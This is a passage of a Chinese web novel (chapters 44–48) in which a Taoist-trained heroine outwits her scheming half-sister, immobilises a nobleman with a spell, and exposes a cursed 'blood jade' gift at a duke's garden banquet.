“我有什么好见的?你夜闯侯府,我看你还是去见官吧。”
顾瑾焱刚要说话,就瞧见珠兰元那边灯火通明。
几个嬷嬷和仆妇大呼小叫着冲进殷玉珠的卧房,
“二小姐!快来人呀,二小姐晕死过去了!”
“二小姐这是怎的了?”
“不知道呀,刚才就隐约听见她在房里又哭又叫,似疯了一般……”
“我听见她叫素喜的名字,还要杀了她……不是见鬼了吧?”
……
顾瑾焱唇边勾起一抹笑意,好奇的问,
“你到底用了什么法子,把那位小姐害成那样?她刚才的样子好像真的见了鬼……”
殷琉璃双臂环胸,轻嗤,
“喂,饭可以乱吃,话可不能乱说,你哪只眼睛看我害她了?
你半夜鬼鬼祟祟闯入侯府,我还说是你害的呢!”
“鬼!到处都是鬼……”
一声凄厉的尖叫从珠兰院传来。
殷玉珠穿着一袭单薄的睡袍,头发在脸上披散,赤着双脚从屋子里冲出来,疯了般挥舞着双手尖叫,
“我杀了你们!我杀了你们……”
几个嬷嬷和仆妇赶紧追出来拉她,
“怎的这么
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大力气?老奴都没拉住你!”
“二小姐别怕,没有鬼没有鬼……”
“二小姐这是梦魇着了,快去请大夫来!”
“吓成这样,这可如何是好?”
……
院子里乱成了一锅粥。
顾瑾焱定着身子,只能扭着脖子去看,忍不住挑眉道,
“殷大小姐下手够狠呀?到底是个姑娘家,也不怕真把她吓疯了。”
“她要害我,我还不能吓她了?”
殷琉璃一脸鄙夷的说,“再说,卸掉本不属于她的真力,还能保命,我还算顺手帮了她一把呢!”
“噗嗤……”
顾瑾焱挑了挑眉,眼神里含上一抹笑意,“你终于承认了?”
殷琉璃,“……”
这人实在惹厌。
“天色这么晚,热闹也看完了,本小姐要回房休息。”
殷琉璃瞥了他一眼,唇边勾起一抹邪笑,“你这么喜欢看热闹,就在这儿接着看吧。”
说罢,她转身一纵,轻飘飘的跃下屋檐。
好身手!
顾瑾焱心里暗叹了一声,忽然想起什么,忙压着嗓子叫,
“喂!喂!你走了我怎么办?”
他现在就像一根戳在地上的竹竿,浑身僵硬,四肢百骸没有一处能使唤的动。
“凉拌。”
殷琉璃的背影隐没在屋檐下之前,冲他抬了抬手,“两个时辰后自然就能动了。”
“啊?”
顾瑾焱在风中凌乱。
臭丫头够狠呀,敢让他在房顶上直挺挺的戳两个时辰!
……
“世子爷,要不要泡个热水澡?身子没准能活泛些……”
“赶紧派人请御医去……”
“世子爷这是中了法术,御医管个屁用!”
“什么法术这般厉害,让人硬的像竹竿似的……”
……
被暗卫扛回房内,几个家伙围着直挺挺躺在床上的顾瑾焱,七嘴八舌出主意。
他还保持着一只手半举,双腿微微岔开迈步的姿态,在床上躺的十分怪异。
顾瑾焱满脸黑线,黑着脸挽尊道,
“都出去,小爷要歇着了。”
“是!”
暗卫帮他盖上被子,忍着笑溜出门窃窃私语的说,
“诶,你说这法术能不能只用在那话儿上?那可有的爽了!”
第44章 你好自为之
“那谁知道?有本事你问世子爷去呀,看不打爆了你的头!”
“我可不敢!好奇一下嘛哈哈……”
顾瑾焱,“……”
他不由自主的豆起眼珠子,挣扎着望向重点部位……
叫人失望,法术对那物件好像不是很管用。
脑海中浮现出那个纤细的身影,一张绝美的脸神色傲娇,顾瑾焱唇边蓦地勾起一抹笑意。
……
夜深人静,一道黑影顺着珠兰院的墙角向角门溜去。
“到底是耐不住了。”
殷琉璃唇角勾起一抹冷笑,飞身从树杈上跃下,双臂环胸,好整以暇的站在门外。
“嘎吱……”
角门打开的瞬间,一张让殷玉珠做梦都恨不得撕烂的脸,带着一抹讥诮的冷笑出现在眼前。
一顶齐腰黑色帷帽下的殷玉珠满脸惊诧,
“你、你……”
殷琉璃抬了抬下巴,“打扮成这样,打算去哪儿呀?”
殷玉珠强装镇定,“不去哪儿!你怎么会在这儿?”
“不要问我怎么会在这儿,问问你自己为什么会在这儿。”
殷琉璃抬手戳了戳她的肩头,冷冷道,
“奉劝一句,不是你应该有的东西,拥有了未必是好事。”
她眉间俨然已有一道若隐若现的黑气,阴元受损,眼下泛着乌青,即便涂抹了厚重的脂粉也有些遮不住。
殷玉珠暗吸了一口冷气,“不知道你在说什么。”
她怎么会知道她体内有无崖子真气的事儿!
若是此事被她宣扬出去,她的婚事就彻底完了!
殷琉璃冷笑勾唇,
“是吗?你真不知道还是假不知道?别怪我没警告过你,现在收手还来得及。”
倒不是她多管闲事,无崖子把她阴元吸干了都跟她没关系,只是此人心性阴险,若让她有了**的本事,不仅对自己不利,还不知道多少人要遭殃。
殷玉珠却对她怒目而视,
“殷琉璃,你早就不是殷侯府的人了,被人扔了这么多年你怎么不死在外面!
你一回来就害我没了嫁妆,害我娘被休弃,如今人不人鬼不鬼的躺在床上,整个侯府的人都瞧不起我们母女!
你抢了原本属于我的荣华富贵还不够,竟然还背着我勾引方政允……”
殷琉璃的话她听不进去一个字,心中只有愤怒和不甘。
殷琉璃挑了挑眉,嗤声道,
“我就知道好言难劝该死的鬼,话已至此,你好自为之吧。”
殷玉珠攥紧双手,怨毒的眼睛死死看着她,心里一阵一阵发冷。
……
今日是去国公府赴宴的日子,一早,甄氏和金嬷嬷就把殷琉璃按在梳妆台前打扮。
与昨夜的凌厉狠辣不同,她在甄氏面前活脱脱就是一副娇俏小女儿模样。
“娘,我不抹这个!您看,抹的跟猴屁股似的,丑**!”
她捂着抹上胭脂的双颊,想摇头,可脑袋上早已被金嬷嬷插了一斤的金钗玉簪,压的脖子都要断了。
长这么大还没擦过胭脂,在玄清观跟五个师兄一起长大,自己也混成个假小子样。
她的小脸儿本就红润润的,那才叫好看呢。
“不准擦!”
甄氏按住她的手左看右看,满意的说,
“红扑扑的多好看呀?这才是小女儿家的装扮呢,行了琉璃,车在外面候着呢,咱们出去。”
“诶呀娘……”
殷琉璃一脸无奈。
算了,娘你开心就行。
穿上一身隆重的衣裳,满头花钗,大小姐一般被几个丫鬟仆妇前呼后拥的出去,实在有些拘束。
出门前娘谆谆叮嘱她见了人要说什么,还要如何跟人见礼。
自由自在了十几年,殷琉璃听的脑袋都大了。
国公府。
春色满园,风光旖旎。
一群装扮的光鲜亮丽的贵妇贵女,在新建的园子里欢声笑语。
殷琉璃第一次来这么漂亮的园子,跟在娘的身边好奇的左看右看。
“琉璃,你看那边儿。”
甄氏抬手指着不远处一座廊亭,悄声说,“那位就是国公老夫人,她是当今圣上的亲姐姐,身份尊贵的紧呢。”
殷琉璃顺着她的手指望去。
一个背山面水
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的廊亭中整齐的摆放着桌椅榻坐,居中的贵妃榻上半卧着为头发花白的老妇人,被一众贵女拥簇着说笑。
她周身锦衣华服,雍容华贵。
不用娘说她也能看出来,老妇人面相非凡,贵不可言,那一抹皇家贵气萦绕全身。
不过跟她没什么关系,她就是来陪娘散心的。
“娘,这园子真漂亮,以后琉璃给娘也建一个!”
殷琉璃挪开目光,继续欣赏风景,瞥见一旁几个贵女正拥簇着一个人而来,叽叽喳喳恭维个不停,
“玉珠妹妹容貌倾国倾城,又是侯府嫡女,自然配得上国公府的小公爷了!”
“若论容貌,玉珠妹妹可算得上是风华绝代,艳压群芳了!”
“是呀,京中谁人不知玉珠姐姐才貌双绝,才能让小公爷也对她倾心……”
……
“姐妹们又拿玉珠取笑,说的人家脸都红了!”
殷玉珠自然也看到殷琉璃,眸光一沉只当看不见,满目娇嗔的说,
“不与你们打趣,咱们去拜见老夫人和夫人吧。”
殷琉璃也当她眼瞎,拉着甄氏往路边摆放茶水和点心的地方去。
殷玉珠迫不及待想去国公老夫人跟前讨好。
知道这位老夫人最喜欢鲜艳亮色,特意穿着一身粉红衣裙,外罩名贵的清色胭脂纱,更显得弱柳扶风一般,头上珠钗玉翠也是光彩夺目。
脸上压了厚厚的脂粉,将眼下一抹乌青遮住,嘴上含着笑,袅袅婷婷的慢步走去廊亭。
容貌身姿在一众贵女中,倒也显得鹤立鸡群。
就连不远处几个公子哥儿也忍不住往她身上瞟。
“玉珠拜见老夫人,老夫人一向安好?”
殷玉珠一脸娇俏的笑着,半蹲了身子行福礼。
“好,好!”
老夫人笑吟吟的冲她招手,“过来给我瞧瞧,有日子没见你倒是越发的端庄持重了。
你们瞧瞧这模样,活脱脱的倾城之色!”
殷玉珠红着脸说,
“老夫人谬赞……”
“啪嗒……”
一声脆响,瞬间吸引了所有人的目光。
第45章 她连话都没说就抢走了风头
殷琉璃歉意的跟前来打扫的仆妇说,
“抱歉,我不知道杯子这么光滑。”
那骨瓷的青色杯子做的细腻好看,谁知拿起来滑不丢手。
老夫人寻着声音望过去,不觉眼前一亮。
廊亭旁不远处的梧桐树下,站着一个身形高挑纤细,身姿挺拔的小姑娘。
一身合体的衣裳,颜色虽略清冷,却衬托的那张粉脸娇艳欲滴,将身边路过的几个衣着华丽的贵女衬的失去了颜色。
老夫人忙歪头问嬷嬷,
“那边儿的妙人儿是谁,可真是好看的紧……怎瞧着有些眼生?”
殷玉珠脸上端庄的笑容蓦地一僵。
嬷嬷忙躬身道,
“回老夫人,那位小姐就是圣上赐婚的殷侯府大小姐,听说失散多年近日才寻回来的。”
“是她呀?我记得她小时候我还抱过一次呢,真真儿是个粉团子般的玉人儿,让人爱不释手!”
老夫人脸上闪过一抹讶异,语气中带上了丝惋惜的味道,“圣上怎的指给焱儿了?”
说着又看向殷玉珠,“那不是你家长姐,怎的不带来让我瞧瞧?”
“老夫人恕罪,是玉珠的不是。”
殷玉珠眼中极快的闪过一抹怨毒,故作为难的说,
“只是老夫人有所不知,我家长姐从小在山野间长大,粗野惯了不动规矩,性子有些、有些不羁。”
老夫人含笑嗔怪,
“年纪轻轻老守那么些规矩做什么,以后有的是规矩守!
我就喜欢性子活泼的,去叫来与我说话。”
“是。”
殷玉珠不情不愿的应了一声。
“老夫人叫你过去。”
走到殷琉璃面前,她阴沉着脸低声警告,
“殷琉璃,你若敢在老夫人面前胡说什么,丢了殷侯府的脸面,我绝不放过你!”
殷琉璃灵动的眸子里闪过一抹冷笑,
“你是怕丢殷侯府的脸面,还是怕丢自己的大好姻缘?”
殷玉珠不由噎了一下。
“娘,我们走。”
殷琉璃挽住甄氏的手,轻飘飘从她面前绕过。
从梧桐树下出来,无数双眼睛好像都在盯着她看。
一个贵妇人惊讶的说,
“我没看错吧,她身上穿的是云锦云纹料?上月圣上刚赏了成懿公主两匹,用金丝银线混合蚕丝织成,贵重无比,怎么到她身上了?”
“快瞧她头上的羊脂白玉前琉璃宝簪!价值连城,好似也是宫里的物件……”
被殷玉珠意有所指的说出殷琉璃性子粗野,几个与殷玉珠交好的贵女掩饰不住脸上的轻蔑,纷纷嗤之以鼻,
“奇了,玉珠妹妹不是说她在乡野长大吗,怎的一回来就这般阔气?”
“怕不是个贪慕虚荣的女子!好容易回了高门大户做了大小姐,不就要摆阔气吗?”
“乡野粗鄙之人,就是穿上凤袍也不像娘娘!”
……
这些嘲讽的话传进耳朵里,殷玉珠心头一阵冷笑。
殷琉璃,我倒要看你怎么出丑!
殷琉璃目不斜视走到众人跟前,学着娘的样子行礼,
“见过国公老夫人,老夫人安好。”
“好!好!”
老夫人坐起身,一双慈祥的眸子周身上下的打量,伸手拉过她笑的合不拢嘴,
“快过来让我瞧瞧!长的花容月貌也就罢了,这周身的气度……
若是不说,还叫人以为是圣上的哪位公主呢!”
殷玉珠狠狠咬牙。
老夫人夸她的最多是端庄持重,可从来没给过这么高的评价!
殷琉璃,你别想抢我的风头!
不提容貌还好,老夫人这一说,刚才还满脸讥讽的贵妇贵女们,也惊觉殷琉璃容貌太过惊艳。
刚被她们夸赞倾国倾城的殷玉珠站在她旁边,都黯然失色。
“砰……”
湖中央传来一声巨响,竟是一只雕花木船撞在了石桥上。
一个公子哥摇晃着身子勉强站稳,撑船的竹竿从手中滑落都没顾上捞,还只顾扭着头往殷琉璃身上瞟。
被众人看见才狼狈的说,“抱歉抱歉,没、没瞧见这里有桥……”
众人顿时哄笑起来。
老夫人笑的最是爽朗,
“琉璃丫头姿容绝色,我要是讯哥儿,就是跳船也要瞧她!”
殷琉璃唇角抽了抽,
“……”
她知道自己还算好看,只是没
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那么夸张吧!
殷玉珠咬碎银牙。
殷琉璃一来,连话都没说就抢走了她的风头!
她岂能容忍!
殷玉珠给了身后的嬷嬷一个眼神,越过殷琉璃上前,堆笑道,
“老夫人这园子建的巧夺天工,美景怡人,玉珠刚在园子里逛了一圈儿,只觉得神清气爽呢!
您时常来逛逛定能身体康健,长命百岁!玉珠特意寻了一尊长寿石来献给老夫人,小小心意,愿为您的园子添一丝吉庆。”
嬷嬷捧着一尊半米高,形似寿字的青花石过来,附和着说,
“老夫人万安!容老奴禀,这尊长寿石生长于是天山之巅,吸收千百年日月精华,自然形成的一个寿字,世上仅此一件!
我们玉珠小姐千辛万苦,托了无数人好容易才寻到,心心念念着拿来孝敬老夫人。”
贵女们惊讶的过去观赏,七嘴八舌的说,
“还真是天然的形成的字样呢,没有一点儿雕琢的痕迹。”
“珍珠宝石再贵重也有处可寻,这天然寿字石可上哪儿寻去?”
“玉珠妹妹对老夫人的心意又珍贵又吉祥,活活把咱们精心选的礼物给比下去了……”
……
老夫人眯着眼睛瞧了瞧,也不觉露出惊喜之色,
“难得难得!我甚是喜欢,也别放园子里风吹日晒了,送去我屋里日日都能瞧见。
玉珠这孩子真是有心了,来人,赏……”
殷玉珠脸上顿时闪过一抹得意,谦虚的说,
“多谢老夫人赏!玉珠心里将老夫人视作祖母,一点儿心意而已。”
老夫人笑吟吟的伸出手,想要抚摸这块形状奇特的石头。
“砰……”
一声闷响,殷琉璃抬手将寿山石推到在地上。
空气瞬间一窒。
四座皆惊,众人一脸震惊的看向殷琉璃,
“天呐,你做什么!”
“你、你为何故意破坏玉珠妹妹的礼物?”
“这么珍贵的石头,你竟然把它给砸了?”
……
连老夫人都惊的抚着心口,皱起眉头不悦道,
“阿弥陀佛阿弥陀佛,吓的老身心口直跳……好好的这是怎的?”
第46章 沁血阴玉
“殷琉璃,你干什么!”
殷玉珠恶狠狠的看着她,一双眼睛像是要**。
甄氏也是一头雾水,赶紧挡在女儿的跟前,紧张的说,
“二小姐,你、你别急……”
“不干什么,老夫人若想长命百岁,最好还是把这块阴邪至极之物扔的远远的。”
殷琉璃拉过娘的手,淡淡挑眉,
“你千辛万苦,就弄了这么个邪性的物件儿来?还要送人,害人还差不多!”
殷玉珠面色一沉,
“你胡说什么!”
老夫人脸上带上了一丝怒意,皱眉道,
“琉璃丫头,这石头明明是个吉祥的寿字,怎会是阴邪之物呢!”
殷玉珠恨的咬牙,
“老夫人您别听她胡说!什么阴邪全是借口,她就是故意破坏吉兆,给您心里添堵!”
殷琉璃轻嗤了一声,
“是不是邪物,看了便知。”
说着,她抬手在掌心画了一道“雷符”,手指一翻,若有若无的灵光从指尖飞出。
“轰”
一声巨响,寿山石被雷光击的四分五裂。
所有人目瞪口呆。
**晴空,怎么会有一道雷凭空出现,劈在石头上?
“这石头里面怎么都是血丝呀!”
不知谁指着碎石惊叫了一声,惊慌道,“快看!里面、里面的血丝好似是活的……”
众人回过神儿来,看见满地碎石断面处,沁着一缕缕艳红的血丝。
不知是不是日光照耀的缘故,那血丝真如同在血管中一般隐隐流动,说不出的阴森诡异。
尤其是石块碎裂以后,空气中弥漫出一股若有若无的腐臭之气,让人胃里隐隐作呕。
众人赶紧捂着鼻子往后撤了几步,生怕沾染上什么邪气。
“怎么会这样!”
殷玉珠大惊失色。
她买的时候,铺子老板只说这东西多难得,从未说过这东西里面还沁着血丝!
花了她一百多两银子!
殷琉璃抬了抬下巴,
“看到了?此物乃是沁血阴玉,出自天山不假,但并非天山之巅,而是来源于**尸场,用以吸收尸毒、怨气的石头。
此物经历千百年风化表面的血丝内敛,外皮才呈现出寻常青石的样子。
只是难得天然长得像个寿字,就被某些无知的人拿来当什么吉庆之物,害人害己。”
“不、这绝不可能!”
殷玉珠差点儿把后槽牙要断,硬着头皮辩驳,
“什么沁血阴玉都是你胡编的,就算这石头里沁这血色丝线,也不见得就是你说的阴邪之物!
木石中沁有丝状物又不是什么稀罕事儿,金丝楠木里面还沁着金丝呢,难道也是阴邪之物?”
殷琉璃皱了皱眉,嫌恶道,
“真是不见棺材不落泪,是不是阴邪之物,你摸一下试试不就知道了?”
殷玉珠咬了咬牙,
“摸……摸就摸!”
送了这样一个东西,她不摸,如何让老夫人信服?
得罪了国公府老夫人,她就完了!
殷琉璃嗤笑着哼了一声,
“胆子不小。提醒一下,沁血阴玉常年为尸体腐烂的血肉滋养,阴气十足,能吸收活人阳气,摄取精元。
就算靠太近也会吸取人身上散发的阳气,日久天长可致阳气亏损,精血耗尽而亡故。”
殷玉珠刚刚伸出去的手,顿时停在了半空中。
“怎么,害怕了?”
殷琉璃冷笑道,“要不要我帮你。”
殷玉珠一双眼睛瞬间爬满了血丝,怨毒的瞪着她,
“殷琉璃,我们好歹也是血脉相连,你一定要当众这么害我吗……”
“别误会,我只是不想让它害人。”
殷琉璃不屑道,“老夫人听了你的话,要将它摆在屋里日日观赏,不出半年就会被吸干元阳而死,这不是害人吗?”
“来人,还不快、快把它给我扔了!”
老夫人捂着心口,冷怒道,“阿弥陀佛,世上怎会有这等阴邪之物?若非琉璃丫头见识广,老身怕是看不见明天的太阳了!”
两个下人连忙上前捡拾碎石块,突然触电般惊叫了一声,一脸不知所措的说,
“天呐!这东西怎么像长了刺一般扎人?”
“奴婢只摸了一下,就觉得手上麻酥酥的,眼前发晕。”
殷琉璃蹙眉道,
“不要用手触碰,拿铁器装起来,找个没人的地方深埋三尺。
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”
殷玉珠心里咯噔一下。
下人这般反应,越发证实殷琉璃的话,她就是说破大天也没用了!
眼下之机,她只能先认错,以自己无知被骗把罪责推的越远越好。
“老夫人恕罪!”
她噗通一声跪在老夫人的脚下,掩面泫然欲泣道,“玉珠年少无知,不识得此物,被掌柜花言巧语诓骗才会闯下这天大的祸事!
求老夫人宽恕,玉珠真的不是故意要害您,玉珠心里一直都把您视为祖母呀……”
“琉璃丫头,过来。”
老夫人没有理会她,冲殷琉璃招了招手,惊魂未定的脸上露出一抹感激之色,
“多亏了你这丫头救老身一命!说吧,想老身怎么谢你?琉璃丫头要什么都行!”
殷琉璃客气的说,
“老夫人客气了,这是我应该做的,也是老夫人行善,积累的福报所致。
老夫人本就一身贵气,有皇族贵气护体,邪物轻易不得近身,”
她可不是恭维。
这位老夫人慈眉善目,应该做过不少良善之事,一身福报积的可不少呢!
“你这孩子,一张小嘴儿甜的跟抹了蜜似的,叫老身喜欢的紧!”
老夫人把她拉到贵妃榻坐在自己身旁,握住那只纤细的手亲昵的说话,
“好好陪老身说会儿话,那个……快请你娘上座,来人,奉茶。”
“多谢老夫人。”
甄氏连忙谢座,心里说不出的喜悦。
“甄夫人,咱们十来年没见了,还记得我吗?”
“甄夫人的气色瞧着可真好……”
“您这位琉璃小姐,如何这般见识广博?”
……
贵妇贵女们看殷琉璃受宠,也都纷纷围了上来,抢着跟甄氏说话。
甄氏有些慌乱的应付着,这么多年了,她从未有过这般风光。
被冷落在一边儿殷玉珠,把心一横拼命在地上叩头,
“求老夫人宽恕!求老夫人宽恕!玉珠真的不是故意的……”
银牙咬碎,她恨透了殷琉璃。
就算那块寿山石真是邪物,她为什么一定要当众说出来!
诚心要她得罪老夫人,出了这般的丑,她才高兴吗!
第47章 你可别招我!
“行了,起来吧。”
老夫人失望的看了她一眼,语气略带斥责,
“我知道你不是故意的,不过是好心办了坏事。
只是你这孩子瞧着这般端庄持重,怎的行事这么不谨慎?以后又如何掌一府之事!”
殷玉珠心里一惊,心瓣止不住的缩紧。
老夫人这话,等于实在否定她没有做国公府未来主母的能力,说的实在太重了!
其实老夫人本就不怎么满意儿媳妇,挑了殷玉珠做她宝贝孙儿的媳妇。
只是儿媳妇拿了众贵女的八字,请了玉泉山的高人相看,高人指着殷玉珠的八字说,
“此女八字日元旺盛,财官印俱全,天生凤命贵不可言。
又有子孙丰盛之相,可兴夫、子、家门三盛,实在不可多得!”
老夫人这才听了儿媳妇的话,点头应允了殷侯府这门亲事。
殊不知这位高人落难时曾欠了她外祖父一份大大的人情,为了还王家人请,才答应王氏这么说的。
“我来迟了,让母亲和诸位贵客久等。”
笑声传来,国公夫人薛氏周身打扮的在一众丫鬟仆妇的簇拥下步来,先上前给老夫人行了个常礼,笑道,
“儿媳见过母亲,刚在后门吩咐婆子们把各色菜式打点好了,这才过来。”
殷琉璃淡淡打量了这位装扮的周身彩绣辉煌,雍容华贵的国公夫人,跟着贵女们起身行礼。
她面相甚贵,性子伶俐,应是个左右逢源之人,但子嗣缘浅了些。
只是……
殷琉璃瞥见她眉心隐隐缠着一抹邪气。
那双精明强干的眼睛里,眼白中横着两道若有若无的白丝,不知惹上了什么邪祟。
各人有各人的因果,她并不喜欢多管闲事,只是蹙了蹙眉头。
行了礼,殷琉璃趁机挪到了甄氏身边坐下,冷眼看戏。
京城到处热闹是热闹,就是这见人就行礼的规矩有些讨厌。
殷琉璃忍不住想念在玄清观,和师兄们漫山遍野疯玩的时候。
薛氏转身故作惊讶的看着殷玉珠,
“哟,玉珠哭的这般梨花带雨,这是怎的了?”
她早听见下人来说了事情原委,这才匆匆赶来圆场子。
殷玉珠到底是她亲手挑选的儿媳妇。
当初老夫人就不怎么愿意,她与老夫人又是面和心不和,若是有什么不对岂不是狠狠打在她脸上?
“夫人,玉珠、玉珠知道错了。”
见她来了,殷玉珠心里总算有了些底,泪珠子跟不要钱似的往下掉,
“玉珠本想送老夫人寿字石做新园子的贺礼,添添喜庆,谁知被人诓了买回来一尊……”
往日她和母亲没少殷勤巴结,把薛氏哄成了翘嘴一般,如今正是用的时候!
“你到底年少不知事,犯错也难免的。”
薛氏装模作样的轻责了一句,便说,“可怜见的,起来吧。老夫人佛菩萨一般的慈悲心怀,还能跟你一个孩子计较?”
“多谢老夫人谅解,多谢夫人。”
殷玉珠这才哭哭啼啼的站了起来,转身的一瞬狠狠给了殷琉璃一个刀子般眼神。
殷琉璃当她是空气,接着吃她的吃点心,跟甄氏说悄悄话。
忽然,两道不善的目光从脸上扫过。
薛氏轻笑了一声,故意上前道,
“母亲,这位是谁家的小姐,长得这般如花似玉?”
语气中带着一丝敌意,殷琉璃不动声色的蹙了下眉头。
“这不就是玉珠的长姐,殷侯府嫡长女,琉璃丫头。”
老夫人看着殷琉璃,慈祥的脸上就止不住的笑,
“就是她识破那寿山石是个阴邪之物,救了我一命呢!
我倒是问了几句,这丫头会些道门术数,着实有些本事。”
殷琉璃起身见礼,不咸不淡的说,
“见过夫人。”
薛夫人雍容华贵的脸上闪过一抹冷笑,明褒暗讽道,
“什么术数这般厉害,把你妹妹玉珠吓得脸儿都白了?
也是奇怪了,寻常府邸里的小姐大门不出二门不迈,琉璃姑娘从哪儿学来这一身厉害本事?”
“老夫人过誉了,略懂一点。”
殷琉璃不冷不热的说。
你可别招我!
殷玉珠唇边勾起一抹冷笑,上前撺掇道,
“夫人有所不知,我家长姐自幼送去外面的道观教养,的确学了很多本事
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回来。
难得见夫人一次,不若请我长姐在众人面前施展一次,让大伙儿见识见识,夫人也瞧瞧稀罕?”
刚才出了丑,这是要拿她当猴儿耍报复?
殷琉璃一记眼刀甩了过去:你也别招我!
薛夫人像是跟她商量好似的,拊掌笑道,
“那敢情好!本夫人还没见过哪个姑娘家,会那些个奇奇怪怪的玩意儿呢!”
老夫人皱了皱眉,出声阻拦,
“这有什么好看的?你是没瞧见刚才有多吓人!”
可殷玉珠的撺掇起了作用,众人纷纷附和着说,
“琉璃小姐会些什么法术呀?我听闻道家擅长抓鬼驱邪,可吓人了!”
“街上那些游走的方士,幌子上都写着相面看卦,八字吉凶……琉璃小姐也会这些?”
“那些江湖术士都是些不入流的,想必琉璃小姐不会这些吧?”
……
“巧了,我家长姐就是会这些,也不知道从哪儿学来的?”
殷玉珠泪痕还没干的脸上,闪过一抹得意的冷笑。
她就是要引着众人往江湖术士那些不入流的人身上想!
三教九流,江湖术士为最低贱的不入流,人人瞧不起。
殷琉璃,刚才你让我丢了好大的脸面,如今你也别想好过!
“不能吧?”
薛氏与殷玉珠一唱一和,傲慢的挑眉,“侯府到底也是京中名门,一个深闺小姐怎能与那些三教九流之人学些个旁门左道,岂不也成了不入流之人?”
“不是这样的!薛夫人,您怎能将我女儿跟那种江湖术士混为一谈?”
甄氏激动的起身为女儿辩白,“我女儿不是那种人!”
“甄夫人急什么,本夫人不过是好心提醒一下,姑娘家万一损了名声可不好。”
薛氏不冷不热的看了她一眼,忽然故作惊讶,“对了,我想起来……咱们有十来年未见过了吧?”
甄氏脸色顿时一白。
“听闻甄夫人不是不喜抛头露面,只喜欢躲清净吗?”
薛氏不怀好意的笑着,讥讽道,“我记得你们府上一向都是王夫人往来,今儿这是哪阵风吹的,竟肯赏脸来与咱们热闹?”
第48章 反杀
甄氏不由攥紧的手掌。
多年幽居,她已不习惯和人辩白什么,只期期艾艾的说,
“薛夫人见笑了,我、我只是……”
殷琉璃轻轻握住了她的手,“娘,坐下喝杯茶。”
针对我娘,你们可别后悔。
如今,该到我反杀你们!
“对了,本夫人怎么不记得给你下过帖子?”
薛氏脸上闪过一抹轻蔑,倨傲的嬷嬷,“去问问前儿是谁送的请帖,不报与本夫人知道,万一慢待了客人,她可担得起?”
这一身的派头和优越感,全身每一个毛孔都在彰显对甄氏的轻蔑。
贵夫人们看甄氏的眼神也变得有些不写,窃窃私语道,
“是呀,这位侯府夫人一来,我都不知道是谁呢。”
“原来人家没下请帖呀,那她来凑什么热闹?”
“想出来露脸,也不看看来的是哪儿……”
……
殷琉璃淡淡挑眉,“我与母亲本就不是夫人请来的客,更不是冲着夫人来的。”
什么门第出身的臭丫头,瞧不上你那狂样!
一来就让老太太嫌我选的儿媳妇,也就罢了,竟然还在本夫人眼前张狂!
薛氏心里鄙夷的啐了一口,端起茶轻啜了一口,半垂着眼皮嗤笑道,
“我就说我没下过这个帖子,奇了?那你们是怎么来的?”
不等殷琉璃回敬,她自顾自的摆摆手,
“算了算了,我国公府向来仁厚,别说不请自来的,就是要饭的花子要到门口,总也要赏口饭吃……”
老夫人见她说的过分,皱眉道,
“来者都是客,嫣然,你只管待好了家里的客人便是!
后厨那边儿如何了,替我去瞧瞧……”
殷琉璃心头不觉划过一丝暖意。
她挺喜欢这位慈眉善目的老奶奶。
“是,母亲。”
薛氏瞥了殷琉璃一眼,起身阴阳怪气的说,
“儿媳这就去后厨瞧瞧,冷不丁多了两位贵客,怕是要多添几个菜了……”
“不是冷不丁添的,是我请人家来的!”
一个清雅爽朗的声音打断了他的话。
众人纷纷起身见礼,“小公爷来了?”
“政允哥?你来了!”
殷玉珠更是眼前一亮,不由自主的绕过桌子迎了过去。
“孙儿见过祖母,见过母亲。”
方政允不动声色的绕开她,径直上前行礼,笑嘻嘻的说,
“母亲不是说儿子想请什么人就自己去请?儿子特意请了甄夫人和琉璃小姐来咱家园子里逛逛,介绍祖母和您认识呢。”
“我说呢!”
薛氏脸色一口气差点儿噎死,勉强勾了勾唇角,“你这孩子,也不早与母亲说,慢待了人家多不好?”
刚才有多傲慢,如今脸就被自己儿子打的有多疼!
“琉璃小姐,咱们又见面了!”
方政允无视殷玉珠殷殷期盼的目光,笑容谦恭的走到殷琉璃面前,
“方才有事耽搁,来迟了。是我的错,我忘了知会母亲我请的贵客是谁,才闹出了误会,还望夫人小姐不要放在心上。”
殷琉璃白了他一眼,“嗯。”
“没、没事,倒是我们要多谢小公子爷盛情。”
甄氏脸上有了光,客气的说。
“政允哥……”
殷玉珠端起桌上一盘葡萄走上前,竭力维持了一个端庄优雅的笑容,“今日有些热呢,吃些果子解解渴吧,这是我亲手择的……”
方政允不由退了一步跟她保持距离,淡淡摆手,
“多谢,不过不用了,我不渴。”
殷玉珠的笑容僵在脸上,手中的葡萄放也不是不放也不是。
“对了琉璃小姐,你和夫人逛我家园子了吗?”
方政允含笑看着殷琉璃,一脸热切的说,
“我刚回来正好无事,要不我带你们去逛逛?我们这园子,是从专门从江南请的工匠师傅,手艺精巧奇妙。”
被两人当作空气,殷玉珠眼中瞬间闪过一抹怨毒。
方政允一来,正眼都没瞧过她一次,却追着殷琉璃大献殷勤!
你们为何这般相熟!
殷琉璃,你还说不是要来抢我的姻缘!
“多谢,不必。我还有事情没做。”
殷琉璃挑了挑眉,唇边勾起一抹冷笑,看向薛夫人,
“薛夫人,殷玉珠,你们不是想看我的本事吗?确定?”
话音中透着一丝锋利。
挖苦、讥讽、嘲笑了一通,让我娘难堪,你以为事儿就这么过去了?
想都不要想,我殷琉璃从来不
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吃哑巴亏!
……
“当然!”
殷玉珠狠狠咬牙,挑衅道,“怎么,长姐不愿在老夫人和夫人面前表演献技?
人家国公府热待与你,不过是要你献技一乐而已,长姐不会那么小气吧?”
她满目怨毒早已落入殷琉璃的眼中。
“你高兴就好。”
殷琉璃淡淡挑眉,“不过我的计不是寻常取乐,要来就来真的,一会儿轮到你……可别后悔。”
殷玉珠下意识的往后一退,被那双锋芒毕露的眼睛看的心头一紧。
“什么表演献技?”
方政允虽听的一头雾水,但很反感殷玉珠那种装模作样,忙说,
“琉璃小姐,你是我特意请来的贵客,怎能让你……”
“政允哥,是长姐自己愿意。”
话音未落,殷玉珠挡在了他的面前,“薛夫人也想瞧瞧姐姐的本事呢,是吗夫人?”
“独乐乐不如众乐乐,琉璃姑娘愿意引咱们一笑,那自然是好的!”
薛氏带着轻蔑的语气,冲两人招手,
“玉珠过来,允儿,你们过来,陪我好好欣赏一下你家长姐的奇技淫巧!
本夫人还从未见过这种世面呢!”
“是。”
殷玉珠脸色缓了缓,带上了一抹讨好的笑容,“政允哥,咱们去夫人那儿就坐。”
“母亲,我陪祖母坐。”
方政允无视他的示好,转身坐去了老夫人身旁,搂着胳膊撒娇,“祖母,你们到底说什么呢?”
陪祖母坐?
你是去陪殷琉璃那个**吧!
